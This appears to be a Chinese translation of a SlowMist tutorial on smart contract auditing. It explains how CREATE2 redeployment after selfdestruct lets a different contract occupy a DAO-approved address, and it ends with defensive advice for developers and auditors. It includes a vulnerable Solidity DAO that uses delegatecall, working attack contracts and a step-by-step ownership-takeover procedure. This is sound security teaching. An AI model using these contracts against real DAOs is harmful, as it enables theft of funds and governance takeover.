智能合约安全审计入门:将不同合约部署到同一地址

  • slowmist
  • 发布于 2025-03-22 19:15
  • 阅读 15

本文分析了一种利用CREATECREATE2操作码在不同时间将不同合约部署到同一地址的攻击技术,并提供了相应的防御策略。

智能合约安全审计入门 — 将不同的合约部署到相同的地址

作者: White

编辑: Liz

背景概述

在以太坊生态系统中,合约地址的确定性生成为开发者提供了便利,但也引入了新的攻击向量。在本文中,我们将分析一种利用 CREATECREATE2 操作码在不同时间将不同的合约部署到同一地址的攻击技术,以及相应的防御策略。

有关智能合约安全审计的入门文章,请参阅合集

预备知识

在深入研究攻击技术之前,让我们首先了解以太坊中的两个地址生成规则:

1. CREATE

CREATE 是以太坊虚拟机(EVM)中的一个原生操作码,用于动态部署智能合约。自从以太坊创世区块以来,所有合约部署都依赖于这种机制。CREATE 的一个关键特征是,生成的地址取决于部署者帐户的 nonce,使其具有非确定性(即,在部署之前无法准确预测)。

通过 CREATE 生成的合约地址由部署者的地址和该地址的 nonce 确定:

contract address = last 20 bytes of keccak256(RLP(sender,nonce))

2. CREATE2

CREATE2 是以太坊君士坦丁堡硬分叉(2019 年 2 月)中引入的一种新的合约创建操作码,作为EIP-1014 的一部分。与传统的 CREATE 操作码不同,CREATE2 允许参与者在部署之前预先计算合约的地址,从而实现链下交互(例如状态通道)和更复杂的合约架构。

通过 CREATE2 生成的合约地址由以下四个参数确定:

contract address = last 20 bytes of keccak256(0xff∣∣sender∣∣salt∣∣keccak256(init_code))

至此,你应该清楚地了解以太坊生成合约地址的两种方式。一些眼尖的读者可能想知道:如果计算出的合约地址已经存在会发生什么?

无需担心 - 无论是使用 CREATE 还是 CREATE2,如果目标地址已经存在于链上(无论是作为外部拥有帐户(EOA)还是合约帐户),EVM 都会拒绝合约创建请求。以下是两种可能的地址冲突场景:

1. 目标地址是外部拥有帐户(EOA)

  • 规则:如果目标地址对应于现有的 EOA(例如,用户的钱包地址),EVM 将拒绝合约部署请求。
  • 结果:交易失败,消耗 gas,未创建合约,并且该地址上的任何数据都不会被覆盖。

2. 目标地址是合约帐户

  • 规则:如果目标地址属于已部署的合约,EVM 也会拒绝合约部署请求。
  • 结果:交易失败,消耗 gas,并且原始合约的代码和存储保持不变。

当然,有一个例外 - 如果目标地址属于一个被自我销毁的合约(selfdestruct),那么一个新的合约可以部署到同一个地址。

至此,我们已经介绍了 CREATECREATE2 的基本属性。现在,让我们探讨如何战略性地结合这些操作码来执行合约攻击。

漏洞示例

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }
​
    address public owner = msg.sender;
    Proposal[] public proposals;
​
    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
​
        proposals.push(
            Proposal({target: target, approved: true, executed: false})
        );
    }
​
    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
​
        proposal.executed = true;
​
        (bool ok,) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

漏洞分析

DAO 合约实现了一个基本的治理机制:

Owner 通过 approve 功能将提案合约地址批准并记录到 proposals 数组中。任何用户稍后都可以通过 execute 功能执行已批准的提案。

乍一看,权限控制似乎很严格(只有 Owner 可以批准提案),并且执行验证看起来很安全(提案必须经过批准且未执行)。但是,这里有一个隐藏的逻辑缺陷:已批准的提案地址可能在执行时指向完全不同的合约代码。

攻击包括三个关键步骤:

1. 部署合法合约以获得授权

攻击者首先部署一个合约 A,其中包含无害的 executeProposal() 函数。在获得 Owner 的批准后,合约 A 的地址将添加到提案列表中。

2. 自我销毁原始合约并回收地址

合约 A 执行 selfdestruct,从区块链中删除其代码。

然后,使用 CREATE2 操作码,攻击者在同一地址重新部署一个恶意合约 B。这个新的合约 B 包含一个危险的 executeProposal() 函数。

3. 触发执行并劫持控制

当用户调用 execute 时,DAO 合约执行 delegatecall 以执行新部署的恶意合约 B。由于 delegatecall 保留了调用合约的上下文,因此攻击者可以使用它来操纵 DAO 合约的状态(例如,更改 Owner 或转移资金)。

接下来,让我们通过一个具体的攻击合约示例来分解攻击过程。

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Proposal {
    event Log(string message);
​
    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }
​
    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}
​
contract Attack {
    event Log(string message);
​
    address public owner;
​
    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}
​
contract DeployerDeployer {
    event Log(address addr);
​
    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}
​
contract Deployer {
    event Log(address addr);
​
    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }
​
    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }
​
    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

攻击过程

  1. Alice 部署 DAO 合约。
  2. Evil 在地址 DD 部署 DeployerDeployer 合约。
  3. Evil 调用 DD.deploy(),使用 CREATE2 在地址 D 部署 Deployer 合约(使用固定的 salt)。
  4. Evil 调用 D.deployProposal(),这会在地址 P 创建一个 Proposal 合约。此时,D 的 nonce 为 0
  5. Alice 批准地址 P 作为提案。
  6. Evil 调用 D.kill() 销毁 D。 D 上的合约被擦除,其 nonce 重置为 0
  7. Evil 再次调用 DD.deploy(),将 Deployer 重新部署到同一地址 D(使用相同的 CREATE2 参数)。
  8. Evil 调用 D.deployAttack(),部署 Attack 合约。由于 D 的 nonce 仍然为 0 且地址 D 没有改变,因此 Attack 合约被部署到与 Proposal 之前使用的同一地址 P
  9. 此时,DAO 的 proposals 数组仍然引用地址 P,但 P 现在指向恶意的 Attack 合约
  10. 当调用 execute() 时,DAO 执行 Attack.executeProposal(),这 使用 delegatecall 将 DAO 的 Owner 修改为 msg.sender (Attack 合约)。

攻击总结

攻击者利用 CREATE2 将合约重新部署到同一地址 的能力:

  • 首先,他们部署一个合法的 Proposal 合约,以获得 DAO 的批准。
  • 然后,他们自我销毁 Deployer 合约,重置其 nonce 并允许将其重新部署到同一地址
  • 最后,他们在与原始 Proposal 相同的地址部署一个恶意合约,欺骗 DAO 在其自身的上下文中执行恶意代码,从而导致所有权接管。

防御建议

对于开发者:

  • 记录合约的代码哈希值并在批准时 并在 执行期间验证,以确保批准地址的合约没有更改。
  • 避免使用 delegatecall 调用外部合约,除非绝对必要并进行适当的安全检查。
  • 考虑在 selfdestruct 之后重新部署合约的可能性。调用外部合约时,请确保它们是可信的。如果与未知的合约交互,请检查它们是否具有反自我销毁机制

对于审计员:

  • 识别具有 selfdestruct 功能的外部合约,因为它们可能会被利用来在同一地址将合法合约替换为恶意代码。
  • 审查合约部署机制,看看是否使用了 CREATE2。确保 salt 值具有足够的随机性,以防止攻击者预测和抢先在目标地址部署合约。
  • 验证 DAO 执行是否检查目标合约的代码一致性,例如通过将当前代码哈希与最初批准的哈希进行比较
  • 仔细分析所有 delegatecall 用法,以确定 目标地址是否可信 以及是否存在执行任意合约的风险。
  • 审查提案生命周期管理,以确保存在防止提案修改或替换的机制,例如在批准后锁定目标地址状态。

关于 SlowMist

SlowMist 是一家成立于 2018 年 1 月的区块链安全公司。该公司由一个拥有超过十年网络安全经验的团队创立,旨在成为全球力量。我们的目标是使区块链生态系统对每个人都尽可能安全。我们现在是一家著名的国际区块链安全公司,曾与 HashKey Exchange、OSL、MEEX、BGE、BTCBOX、Bitget、BHEX.SG、OKX、Binance、HTX、Amber Group、Crypto.com 等多个知名项目合作。

SlowMist 提供各种服务,包括但不限于安全审计、威胁信息、防御部署、安全顾问和其他与安全相关的服务。我们还提供 AML(反洗钱)软件、MistEye(安全监控)、SlowMist Hacked(Crypto hack archives)、FireWall.x(智能合约防火墙)和其他 SaaS 产品。我们与国内外公司建立了合作伙伴关系,如 Akamai、BitDefender、RC²、天际伙伴、IPIP 等。我们对加密货币犯罪调查的广泛工作已被国际组织和政府机构引用,包括联合国安全理事会和联合国毒品和犯罪问题办公室。

通过提供为每个项目定制的综合安全解决方案,我们可以识别风险并防止它们发生。我们的团队能够发现并发布几个高风险的区块链安全漏洞。通过这样做,我们可以传播意识并提高区块链生态系统中的安全标准。

  • 原文链接: slowmist.medium.com/intr...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
slowmist
slowmist
江湖只有他的大名,没有他的介绍。